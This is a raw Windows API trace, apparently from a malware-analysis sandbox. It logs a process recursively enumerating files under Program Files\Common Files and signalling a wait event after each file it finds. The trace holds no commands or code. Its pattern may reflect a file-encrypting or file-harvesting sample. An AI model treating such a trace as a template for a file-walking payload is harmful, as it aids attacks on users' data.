lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 0 [0276.548] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0276.549] GetProcessHeap () returned 0x550000 [0276.549] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0276.549] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0276.549] GetProcessHeap () returned 0x550000 [0276.549] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0276.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0276.549] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.549] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0276.549] GetProcessHeap () returned 0x550000 [0276.549] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0276.550] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0276.551] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.551] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0276.551] GetProcessHeap () returned 0x550000 [0276.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.551] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.551] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0276.551] GetProcessHeap () returned 0x550000 [0276.551] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0276.551] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x275e640 | out: lpFindFileData=0x275e640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0276.551] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e640 | out: lpFindFileData=0x275e640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.551] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e640 | out: lpFindFileData=0x275e640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0276.552] ResetEvent (hEvent=0xe0) returned 1 [0276.552] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.600] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e640 | out: lpFindFileData=0x275e640*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0276.600] FindClose (in: hFindFile=0x639a48 | out: hFindFile=0x639a48) returned 1 [0276.602] GetProcessHeap () returned 0x550000 [0276.602] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0276.602] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0276.602] ResetEvent (hEvent=0xe0) returned 1 [0276.602] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.614] ResetEvent (hEvent=0xe0) returned 1 [0276.614] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.704] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0276.704] ResetEvent (hEvent=0xe0) returned 1 [0276.704] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.732] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0276.732] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0276.733] GetProcessHeap () returned 0x550000 [0276.733] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3732068 | out: hHeap=0x550000) returned 1 [0276.733] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0276.733] FindClose (in: hFindFile=0x639748 | out: hFindFile=0x639748) returned 1 [0276.733] GetProcessHeap () returned 0x550000 [0276.733] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3722060 | out: hHeap=0x550000) returned 1 [0276.733] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0276.734] FindClose (in: hFindFile=0x639788 | out: hFindFile=0x639788) returned 1 [0276.734] GetProcessHeap () returned 0x550000 [0276.734] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5b4378 | out: hHeap=0x550000) returned 1 [0276.734] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0276.734] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0276.734] GetProcessHeap () returned 0x550000 [0276.734] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a4370 | out: hHeap=0x550000) returned 1 [0276.736] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0276.736] GetProcessHeap () returned 0x550000 [0276.736] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a4370 [0276.737] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0276.737] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.737] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0276.738] ResetEvent (hEvent=0xe0) returned 1 [0276.738] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0xffffffff) returned 0x0 [0276.756] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0276.756] FindClose (in: hFindFile=0x639688 | out: hFindFile=0x639688) returned 1 [0276.756] GetProcessHeap () returned 0x550000 [0276.756] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5a4370 | out: hHeap=0x550000) returned 1 [0276.756] FindNextFileW (in: hFindFile=0x639648, lpFindFileData=0x275f2e8 | out: lpFindFileData=0x275f2e8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0276.756] GetProcessHeap () returned 0x550000 [0276.756] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5a4370 [0276.756] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639688 [0276.757] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.757] FindNextFileW (in: hFindFile=0x639688, lpFindFileData=0x275f060 | out: lpFindFileData=0x275f060*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0276.757] GetProcessHeap () returned 0x550000 [0276.757] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x5b4378 [0276.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639788 [0276.757] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.757] FindNextFileW (in: hFindFile=0x639788, lpFindFileData=0x275edd8 | out: lpFindFileData=0x275edd8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0276.757] GetProcessHeap () returned 0x550000 [0276.757] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3722060 [0276.758] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639748 [0276.759] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.759] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x275eb50 | out: lpFindFileData=0x275eb50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0276.759] GetProcessHeap () returned 0x550000 [0276.759] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3732068 [0276.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0276.759] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0276.759] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x275e8c8 | out: lpFindFileData=0x275e8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0276.759] GetProcessHeap () returned 0x550000 [0276.759] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0276.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x275e640 | out: lpFindFileData=0x275e640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a48 [0276.760] FindNextFileW (in: hFindFile=0x639a48, lpFindFileData=0x275e640 | out: lpFindFileData=0x275e640*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, 